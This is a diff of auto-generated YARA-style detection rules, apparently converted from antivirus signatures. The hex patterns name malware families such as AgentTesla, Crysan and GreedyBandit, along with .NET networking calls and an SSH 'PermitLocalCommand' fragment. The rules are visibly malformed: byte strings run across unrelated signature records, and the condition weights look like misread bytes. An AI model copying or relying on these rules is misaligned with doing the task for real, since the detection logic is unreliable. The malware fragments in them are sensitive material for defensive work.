_InfrastructureShared_12653{ +rule _InfrastructureShared_13478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141342,7 +150707,7 @@ rule _InfrastructureShared_12653{ ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*23297+(#a_4d_2 & 1)*296+(#a_01_3 & 1)*1+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_12654{ +rule _InfrastructureShared_13479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141356,7 +150721,7 @@ rule _InfrastructureShared_12654{ ((#a_6c_0 & 1)*16675+(#a_6e_1 & 1)*8236+(#a_73_2 & 1)*19575+(#a_63_3 & 1)*7424+(#a_63_4 & 1)*30068) >=5 } -rule _InfrastructureShared_12655{ +rule _InfrastructureShared_13480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141369,7 +150734,7 @@ rule _InfrastructureShared_12655{ ((#a_6c_0 & 1)*16675+(#a_74_2 & 1)*25955+(#a_37_3 & 1)*13924+(#a_6f_4 & 1)*25938) >=5 } -rule _InfrastructureShared_12656{ +rule _InfrastructureShared_13481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141383,7 +150748,7 @@ rule _InfrastructureShared_12656{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13925+(#a_74_2 & 1)*31090+(#a_76_3 & 1)*26625+(#a_23_4 & 1)*5) >=5 } -rule _InfrastructureShared_12657{ +rule _InfrastructureShared_13482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141397,7 +150762,7 @@ rule _InfrastructureShared_12657{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28261+(#a_31_2 & 1)*17238+(#a_79_3 & 1)*25185+(#a_66_4 & 1)*26994) >=5 } -rule _InfrastructureShared_12658{ +rule _InfrastructureShared_13483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -141411,7 +150776,7 @@ rule _InfrastructureShared_12658{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28781+(#a_61_2 & 1)*25460+(#a_9c_3 & 1)*30821+(#a_00_4 & 1)*8558) >=5 } -rule _InfrastructureShared_12659{ +rule _InfrastructureShared_13484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -141428,7 +150793,7 @@ rule _InfrastructureShared_12659{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*27753+(#a_3a_2 & 1)*19521+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_b6_7 & 1)*0) >=5 } -rule _InfrastructureShared_12660{ +rule _InfrastructureShared_13485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -141443,7 +150808,7 @@ rule _InfrastructureShared_12660{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*24944+(#a_2e_2 & 1)*28261+(#a_4d_3 & 1)*-32495+(#a_6d_4 & 1)*17513+(#a_72_5 & 1)*29797) >=6 } -rule _InfrastructureShared_12661{ +rule _InfrastructureShared_13486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -141458,7 +150823,7 @@ rule _InfrastructureShared_12661{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5120+(#a_56_2 & 1)*5632+(#a_6c_3 & 1)*30068+(#a_49_4 & 1)*20565+(#a_65_5 & 1)*21280) >=6 } -rule _InfrastructureShared_12662{ +rule _InfrastructureShared_13487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -141474,7 +150839,7 @@ rule _InfrastructureShared_12662{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29264+(#a_6e_2 & 1)*22330+(#a_69_3 & 1)*25938+(#a_6d_4 & 1)*29286+(#a_74_5 & 1)*18177+(#a_72_6 & 1)*27756) >=7 } -rule _InfrastructureShared_12663{ +rule _InfrastructureShared_13488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -141490,7 +150855,7 @@ rule _InfrastructureShared_12663{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28515+(#a_57_2 & 1)*28257+(#a_01_3 & 1)*5888+(#a_49_4 & 1)*11890+(#a_73_5 & 1)*28274+(#a_53_6 & 1)*8549) >=7 } -rule _InfrastructureShared_12664{ +rule _InfrastructureShared_13489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -141504,7 +150869,7 @@ rule _InfrastructureShared_12664{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*31062+(#a_48_4 & 1)*8448+(#a_6e_5 & 1)*29806+(#a_6e_6 & 1)*29441) >=7 } -rule _InfrastructureShared_12665{ +rule _InfrastructureShared_13490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -141519,7 +150884,7 @@ rule _InfrastructureShared_12665{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*26113+(#a_57_3 & 1)*28257+(#a_61_4 & 1)*26996+(#a_69_5 & 1)*14949+(#a_74_6 & 1)*28274) >=7 } -rule _InfrastructureShared_12666{ +rule _InfrastructureShared_13491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -141536,7 +150901,7 @@ rule _InfrastructureShared_12666{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29763+(#a_2e_2 & 1)*28526+(#a_74_3 & 1)*18689+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_12667{ +rule _InfrastructureShared_13492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -141553,7 +150918,7 @@ rule _InfrastructureShared_12667{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*11890+(#a_69_2 & 1)*14913+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_b6_7 & 1)*0) >=8 } -rule _InfrastructureShared_12668{ +rule _InfrastructureShared_13493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -141568,7 +150933,7 @@ rule _InfrastructureShared_12668{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*-32503+(#a_61_2 & 1)*28261+(#a_34_3 & 1)*20560+(#a_61_5 & 1)*384+(#a_6a_6 & 1)*29268) >=8 } -rule _InfrastructureShared_12669{ +rule _InfrastructureShared_13494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -141579,13 +150944,12 @@ rule _InfrastructureShared_12669{ $a_00_3 = {00 } //32 $a_28_5 = {01 04 9c 90 00 0a 00 3e 02 20 00 38 01 00 5d 90 02 0a 20 00 38 01 00 5d 90 02 0a 1f 16 5d 28 90 01 04 61 28 90 02 0f 58 20 00 38 01 00 5d 91 28 90 01 04 59 20 00 01 00 00 58 20 00 01 00 00 5d 28 90 01 04 9c 90 00 00 00 78 b6 00 00 0a 00 0a 00 07 00 21 23 48 53 54 52 3a 54 72 6f } //0 $a_3a_6 = {53 49 4c 2f 54 6e 65 67 61 2e 50 41 55 21 4d 54 42 00 04 00 18 03 16 0a 2b 0e 06 17 58 0a 20 90 02 04 28 90 02 04 06 1f 14 32 ed 2a 90 00 01 00 19 81 01 47 65 74 4d 61 6e 69 66 65 73 74 52 65 73 6f 75 72 63 65 53 74 72 65 61 6d 01 00 06 81 01 50 72 65 66 69 78 01 00 1d 81 01 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 5f 41 73 73 65 } //24938 - $a_79_7 = {65 73 6f 6c 76 65 01 00 05 81 01 53 6c 65 65 70 01 00 06 81 01 43 6f 70 79 54 6f 01 00 0c 81 01 50 6c 75 67 69 6e 30 31 2e 64 6c 6c 00 00 78 b6 00 00 0d 00 0d 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 4c 21 4d 54 42 00 0a 00 42 02 17 da 13 06 16 13 07 2b 90 } //25197 - $a_11_8 = {11 07 6f 90 01 04 13 } //257 + $a_79_7 = {65 73 6f 6c 76 65 01 00 05 81 01 53 6c 65 65 70 01 00 06 81 01 43 6f 70 79 54 6f 01 00 0c 81 01 50 6c 75 67 69 6e 30 31 2e 64 6c 6c 00 00 78 b6 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 5a 50 53 21 4d 54 42 00 0a 00 62 03 06 20 f2 35 00 00 28 90 01 01 07 00 06 28 90 } //25197 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26465+(#a_54_2 & 1)*18467+(#a_00_3 & 1)*32+(#a_28_5 & 1)*0+(#a_3a_6 & 1)*24938+(#a_79_7 & 1)*25197+(#a_11_8 & 1)*257) >=9 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26465+(#a_54_2 & 1)*18467+(#a_00_3 & 1)*32+(#a_28_5 & 1)*0+(#a_3a_6 & 1)*24938+(#a_79_7 & 1)*25197) >=9 } -rule _InfrastructureShared_12670{ +rule _InfrastructureShared_13495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -141596,7 +150960,7 @@ rule _InfrastructureShared_12670{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=10 } -rule _InfrastructureShared_12671{ +rule _InfrastructureShared_13496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -141604,13 +150968,25 @@ rule _InfrastructureShared_12671{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 55 21 4d 54 42 00 04 00 18 03 16 0a 2b 0e 06 17 58 0a 20 90 02 04 28 90 02 04 06 1f 14 32 ed 2a 90 00 01 00 19 81 01 47 65 74 4d 61 6e 69 66 65 73 74 52 65 73 6f 75 72 63 65 53 74 72 65 } //18467 $a_00_1 = {06 } //28001 $a_72_2 = {66 69 78 01 00 1d 81 01 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 5f 41 73 73 65 6d 62 6c 79 52 65 73 6f 6c 76 65 01 00 05 81 01 53 6c 65 65 70 01 00 06 81 01 43 6f 70 79 54 6f 01 00 0c 81 01 50 6c 75 67 69 6e 30 31 2e 64 6c 6c 00 00 78 b6 00 } //385 - $a_52_5 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 4c 21 4d 54 42 00 0a 00 42 02 17 da 13 06 16 13 07 2b 90 01 01 07 11 04 11 07 6f 90 01 04 13 08 11 08 28 90 01 04 13 09 08 06 11 09 b4 9c 11 07 17 d6 13 07 11 07 11 06 31 90 } //21320 - $a_17_6 = {0a 11 04 17 d6 13 } //257 + $a_3a_5 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 5a 50 53 21 4d 54 42 00 0a 00 62 03 06 20 f2 35 00 00 28 90 01 01 07 00 06 28 90 01 01 00 00 0a 20 dd 35 00 00 28 90 01 01 07 00 06 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a } //17748 + $a_01_6 = {01 00 00 0a 0c 08 07 17 73 90 01 01 00 00 0a 0d 02 28 90 01 01 00 00 06 13 04 09 11 04 16 11 04 8e 69 6f 90 01 01 00 00 0a 08 13 05 de 14 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 b6 00 00 0d 00 0d 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 4c 21 4d 54 42 00 0a 00 42 02 17 da } //29451 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28001+(#a_72_2 & 1)*385+(#a_52_5 & 1)*21320+(#a_17_6 & 1)*257) >=10 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28001+(#a_72_2 & 1)*385+(#a_3a_5 & 1)*17748+(#a_01_6 & 1)*29451) >=10 } -rule _InfrastructureShared_12672{ +rule _InfrastructureShared_13497{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 5a 50 53 21 4d 54 42 00 0a 00 62 03 06 20 f2 35 00 00 28 90 01 01 07 00 06 28 90 01 01 00 00 0a 20 dd 35 00 00 28 90 01 01 07 00 06 28 90 01 01 00 00 } //21539 + $a_01_1 = {01 00 00 0a 0b 73 90 01 01 00 00 0a 0c 08 07 17 73 90 01 01 00 00 0a 0d 02 28 90 01 01 00 00 06 13 04 09 11 04 16 11 04 8e 69 6f 90 01 01 00 00 0a 08 13 05 de 14 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 b6 00 00 0d 00 0d 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 4c 21 4d 54 } //28426 + $a_00_2 = {42 02 17 da 13 06 16 13 07 2b } //66 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28426+(#a_00_2 & 1)*66) >=12 + +} +rule _InfrastructureShared_13498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -141624,7 +151000,7 @@ rule _InfrastructureShared_12672{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28623+(#a_11_2 & 1)*-10729+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=13 } -rule _InfrastructureShared_12673{ +rule _InfrastructureShared_13499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -141636,7 +151012,7 @@ rule _InfrastructureShared_12673{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*-29880+(#a_61_2 & 1)*28015) >=15 } -rule _InfrastructureShared_12674{ +rule _InfrastructureShared_13500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -141648,7 +151024,7 @@ rule _InfrastructureShared_12674{ ((#a_54_0 & 1)*18467+(#a_72_3 & 1)*384+(#a_00_5 & 1)*0) >=15 } -rule _InfrastructureShared_12675{ +rule _InfrastructureShared_13501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 03 00 21 " @@ -141660,7 +151036,7 @@ rule _InfrastructureShared_12675{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25459+(#a_65_2 & 1)*29806) >=16 } -rule _InfrastructureShared_12676{ +rule _InfrastructureShared_13502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -141674,7 +151050,7 @@ rule _InfrastructureShared_12676{ ((#a_54_0 & 1)*18467+(#a_26_1 & 1)*-8704+(#a_13_2 & 1)*5896+(#a_6f_3 & 1)*21562+(#a_6e_4 & 1)*25714) >=16 } -rule _InfrastructureShared_12677{ +rule _InfrastructureShared_13503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 05 00 21 " @@ -141688,7 +151064,7 @@ rule _InfrastructureShared_12677{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30020+(#a_6a_2 & 1)*29268+(#a_46_3 & 1)*2048+(#a_46_4 & 1)*18003) >=17 } -rule _InfrastructureShared_12678{ +rule _InfrastructureShared_13504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -141704,7 +151080,7 @@ rule _InfrastructureShared_12678{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*10+(#a_b6_5 & 1)*0+(#a_01_7 & 1)*3072) >=17 } -rule _InfrastructureShared_12679{ +rule _InfrastructureShared_13505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -141718,7 +151094,7 @@ rule _InfrastructureShared_12679{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28420+(#a_01_2 & 1)*28265+(#a_51_3 & 1)*19011+(#a_32_4 & 1)*12342) >=18 } -rule _InfrastructureShared_12680{ +rule _InfrastructureShared_13506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 08 00 21 " @@ -141735,7 +151111,7 @@ rule _InfrastructureShared_12680{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25962+(#a_4c_2 & 1)*21325+(#a_61_3 & 1)*25965+(#a_69_4 & 1)*17455+(#a_67_5 & 1)*29559+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720) >=18 } -rule _InfrastructureShared_12681{ +rule _InfrastructureShared_13507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 09 00 21 " @@ -141753,7 +151129,7 @@ rule _InfrastructureShared_12681{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28532+(#a_73_2 & 1)*28009+(#a_69_3 & 1)*24428+(#a_5a_4 & 1)*29487+(#a_67_5 & 1)*30840+(#a_0f_6 & 1)*2821+(#a_8b_7 & 1)*25872+(#a_f7_8 & 1)*9220) >=25 } -rule _InfrastructureShared_12682{ +rule _InfrastructureShared_13508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,58 02 58 02 06 00 21 " @@ -141768,7 +151144,7 @@ rule _InfrastructureShared_12682{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26478+(#a_52_2 & 1)*21320+(#a_41_3 & 1)*18737+(#a_00_4 & 1)*1+(#a_52_5 & 1)*21320) >=600 } -rule _InfrastructureShared_12683{ +rule _InfrastructureShared_13509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -141779,7 +151155,7 @@ rule _InfrastructureShared_12683{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*30577) >=1 } -rule _InfrastructureShared_12684{ +rule _InfrastructureShared_13510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -141790,7 +151166,7 @@ rule _InfrastructureShared_12684{ ((#a_54_0 & 1)*18467+(#a_88_1 & 1)*19851) >=1 } -rule _InfrastructureShared_12685{ +rule _InfrastructureShared_13511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -141801,7 +151177,7 @@ rule _InfrastructureShared_12685{ ((#a_46_0 & 1)*21283+(#a_18_1 & 1)*29833) >=1 } -rule _InfrastructureShared_12686{ +rule _InfrastructureShared_13512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -141813,7 +151189,7 @@ rule _InfrastructureShared_12686{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*13921+(#a_23_2 & 1)*3) >=1 } -rule _InfrastructureShared_12687{ +rule _InfrastructureShared_13513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -141823,20 +151199,32 @@ rule _InfrastructureShared_12687{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_12688{ +rule _InfrastructureShared_13514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 5f 58 6f 72 67 65 74 74 69 00 01 00 33 00 54 65 73 74 4f 70 65 6e 47 4c 20 2d 20 57 72 69 74 74 65 6e 20 62 79 20 46 72 61 6e 63 6b 20 27 68 69 74 63 68 68 69 6b 72 27 20 43 } //18467 - $a_6c_1 = {74 2e 01 00 20 00 50 72 6f 73 74 61 72 74 20 50 75 72 65 20 41 73 73 65 6d 62 6c 65 72 20 54 65 6d 70 6c 61 74 65 01 00 1d 00 71 64 61 37 38 32 64 61 64 67 68 38 32 61 68 61 6f 37 61 32 64 61 32 64 37 38 61 32 6b 01 00 06 01 68 6e c1 23 00 eb 00 00 78 b7 00 00 01 00 01 00 05 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 53 75 } //24936 - $a_4c_2 = {52 65 66 65 72 65 6e 63 65 00 01 00 13 01 5f 55 70 64 61 74 65 50 72 65 64 6e 69 73 6f 6e 65 36 34 01 00 14 01 43 6f 6e 76 65 72 74 43 61 74 61 6c 70 61 33 32 2e 64 6c 6c 01 00 11 01 44 72 61 77 42 75 72 } //28787 - $a_6f_3 = {32 2e 64 6c 6c 01 00 36 01 5f 00 55 00 6e 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 4e 00 69 00 74 00 72 00 6f 00 63 00 65 00 6c 00 6c 00 75 00 6c 00 6f 00 73 00 65 00 33 00 32 00 01 00 09 01 2d 2e 64 6c 6c 00 69 00 75 00 00 78 b7 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 41 6d 6f 6e 65 74 69 } //26994 + $a_6c_1 = {74 2e 01 00 20 00 50 72 6f 73 74 61 72 74 20 50 75 72 65 20 41 73 73 65 6d 62 6c 65 72 20 54 65 6d 70 6c 61 74 65 01 00 1d 00 71 64 61 37 38 32 64 61 64 67 68 38 32 61 68 61 6f 37 61 32 64 61 32 64 37 38 61 32 6b 01 00 06 01 68 6e c1 23 00 eb 00 00 78 b7 00 00 01 00 01 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 4e 65 74 77 6f 72 6b 43 6f } //24936 + $a_6e_2 = {63 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 14 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 01 00 19 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 48 74 74 70 57 65 62 52 65 71 75 65 73 74 01 00 14 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 54 63 70 43 6c 69 65 6e 74 01 00 12 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 53 6f 63 6b 65 74 } //28013 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24936+(#a_4c_2 & 1)*28787+(#a_6f_3 & 1)*26994) >=1 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24936+(#a_6e_2 & 1)*28013) >=1 } -rule _InfrastructureShared_12689{ +rule _InfrastructureShared_13515{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 4e 65 74 77 6f 72 6b 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 14 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 01 00 19 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 48 74 74 70 57 65 62 } //18467 + $a_75_1 = {73 74 01 00 14 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 54 63 70 43 6c 69 65 6e 74 01 00 12 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 53 6f 63 6b 65 74 73 01 00 1a 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 48 74 74 70 2e 48 74 74 70 43 6c 69 65 6e 74 00 00 78 b7 00 00 01 00 01 00 05 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 53 } //25938 + $a_44_2 = {4c 52 65 66 65 72 65 6e 63 65 00 01 00 13 01 5f 55 70 64 61 74 65 50 72 65 64 6e 69 73 6f 6e 65 36 34 01 00 14 01 43 6f 6e 76 65 72 74 43 61 74 61 6c 70 61 33 32 2e 64 6c 6c 01 00 11 01 44 72 61 77 42 75 72 72 69 74 6f 33 32 2e 64 6c 6c 01 00 36 01 5f 00 55 00 6e 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 4e 00 69 00 74 00 72 } //29557 + $a_00_4 = {6c 00 75 00 6c 00 6f 00 73 00 65 00 33 00 32 00 01 00 09 01 2d 2e 64 6c 6c 00 69 00 75 00 00 78 b7 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 41 6d 6f 6e 65 74 69 7a 65 21 62 69 74 00 01 00 6c 01 80 7d ff 00 74 66 8b 91 1c 01 00 00 42 81 e2 ff 00 00 00 89 91 1c 01 00 00 0f b6 74 } //101 + condition: + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25938+(#a_44_2 & 1)*29557+(#a_00_4 & 1)*101) >=1 + +} +rule _InfrastructureShared_13516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -141847,7 +151235,7 @@ rule _InfrastructureShared_12689{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*115) >=1 } -rule _InfrastructureShared_12690{ +rule _InfrastructureShared_13517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141858,7 +151246,7 @@ rule _InfrastructureShared_12690{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-20087) >=2 } -rule _InfrastructureShared_12691{ +rule _InfrastructureShared_13518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141869,7 +151257,7 @@ rule _InfrastructureShared_12691{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*20017) >=2 } -rule _InfrastructureShared_12692{ +rule _InfrastructureShared_13519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141880,7 +151268,7 @@ rule _InfrastructureShared_12692{ ((#a_46_0 & 1)*16675+(#a_0d_1 & 1)*3844) >=2 } -rule _InfrastructureShared_12693{ +rule _InfrastructureShared_13520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -141891,7 +151279,7 @@ rule _InfrastructureShared_12693{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300) >=2 } -rule _InfrastructureShared_12694{ +rule _InfrastructureShared_13521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -141902,7 +151290,7 @@ rule _InfrastructureShared_12694{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*13156) >=2 } -rule _InfrastructureShared_12695{ +rule _InfrastructureShared_13522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141914,7 +151302,7 @@ rule _InfrastructureShared_12695{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*0+(#a_66_2 & 1)*18797) >=3 } -rule _InfrastructureShared_12696{ +rule _InfrastructureShared_13523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141926,7 +151314,19 @@ rule _InfrastructureShared_12696{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*4359+(#a_09_2 & 1)*-10729) >=3 } -rule _InfrastructureShared_12697{ +rule _InfrastructureShared_13524{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 64 79 42 61 6e 64 69 74 2e 42 21 64 68 61 00 01 00 3d 01 50 65 72 6d 69 74 4c 6f 63 61 6c 43 6f 6d 6d 61 6e 64 3d 79 65 73 20 2d 6f 20 27 4c 6f 63 61 6c 43 6f 6d 6d 61 6e 64 3d } //16675 + $a_55_1 = {65 72 73 5c 24 63 75 72 72 65 6e 74 55 73 65 72 01 00 32 01 24 63 75 72 72 65 6e 74 55 73 65 72 20 3d 20 24 65 6e 76 